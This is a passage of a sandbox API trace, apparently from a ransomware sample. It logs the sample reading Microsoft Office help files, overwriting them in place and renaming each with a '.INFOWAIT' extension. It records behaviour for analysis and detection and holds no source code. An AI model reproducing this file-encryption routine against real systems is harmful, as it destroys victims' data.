Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" [0116.604] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.INFOWAIT" [0116.604] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn.infowait")) returned 1 [0116.605] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.606] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.606] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.606] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.608] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x158 [0116.608] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.609] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.609] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x158, lpOverlapped=0x0) returned 1 [0116.612] VirtualAlloc (lpAddress=0x0, dwSize=0x158, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.612] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.612] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x158, lpOverlapped=0x0) returned 1 [0116.612] CloseHandle (hObject=0xad0) returned 1 [0116.614] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" [0116.614] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.INFOWAIT" [0116.614] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn.infowait")) returned 1 [0116.615] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.616] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.616] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.617] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.617] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170 [0116.617] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.617] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.617] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170, lpOverlapped=0x0) returned 1 [0116.620] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.621] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.621] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x170, lpOverlapped=0x0) returned 1 [0116.621] CloseHandle (hObject=0xad0) returned 1 [0116.622] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" [0116.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.INFOWAIT" [0116.622] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn.infowait")) returned 1 [0116.623] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.624] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.624] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.625] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x146 [0116.625] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.626] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.626] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x146, lpOverlapped=0x0) returned 1 [0116.629] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.629] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.629] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x146, lpOverlapped=0x0) returned 1 [0116.629] CloseHandle (hObject=0xad4) returned 1 [0116.634] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" [0116.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.INFOWAIT" [0116.634] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn.infowait")) returned 1 [0116.635] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.636] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.636] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.636] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.638] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x146 [0116.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.639] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.639] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x146, lpOverlapped=0x0) returned 1 [0116.641] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.642] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.642] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x146, lpOverlapped=0x0) returned 1 [0116.642] CloseHandle (hObject=0xad0) returned 1 [0116.646] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" [0116.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.INFOWAIT" [0116.646] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn.infowait")) returned 1 [0116.647] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.648] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.648] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.648] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.649] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15e [0116.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.649] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.649] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15e, lpOverlapped=0x0) returned 1 [0116.652] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.653] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.653] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x15e, lpOverlapped=0x0) returned 1 [0116.653] CloseHandle (hObject=0xad0) returned 1 [0116.655] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" [0116.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.INFOWAIT" [0116.656] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn.infowait")) returned 1 [0116.656] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.657] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.658] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.658] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.658] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14c [0116.658] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.658] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.658] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14c, lpOverlapped=0x0) returned 1 [0116.661] VirtualAlloc (lpAddress=0x0, dwSize=0x14c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.662] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.662] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x14c, lpOverlapped=0x0) returned 1 [0116.662] CloseHandle (hObject=0xad0) returned 1 [0116.666] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" [0116.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.INFOWAIT" [0116.666] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn.infowait")) returned 1 [0116.667] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.668] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.669] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.669] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.669] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13a [0116.669] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.669] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.669] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x13a, lpOverlapped=0x0) returned 1 [0116.672] VirtualAlloc (lpAddress=0x0, dwSize=0x13a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.673] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.673] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x13a, lpOverlapped=0x0) returned 1 [0116.673] CloseHandle (hObject=0xad0) returned 1 [0116.674] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" [0116.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.INFOWAIT" [0116.674] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn.infowait")) returned 1 [0116.675] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.676] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.676] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.676] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.678] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152 [0116.678] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.678] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.678] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x152, lpOverlapped=0x0) returned 1 [0116.681] VirtualAlloc (lpAddress=0x0, dwSize=0x152, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.682] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.682] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x152, lpOverlapped=0x0) returned 1 [0116.682] CloseHandle (hObject=0xad4) returned 1 [0116.685] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" [0116.685] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.INFOWAIT" [0116.685] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn.infowait")) returned 1 [0116.686] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.687] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.687] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.689] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152 [0116.689] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.689] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.689] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x152, lpOverlapped=0x0) returned 1 [0116.692] VirtualAlloc (lpAddress=0x0, dwSize=0x152, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.692] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.692] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x152, lpOverlapped=0x0) returned 1 [0116.692] CloseHandle (hObject=0xad0) returned 1 [0116.694] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" [0116.694] 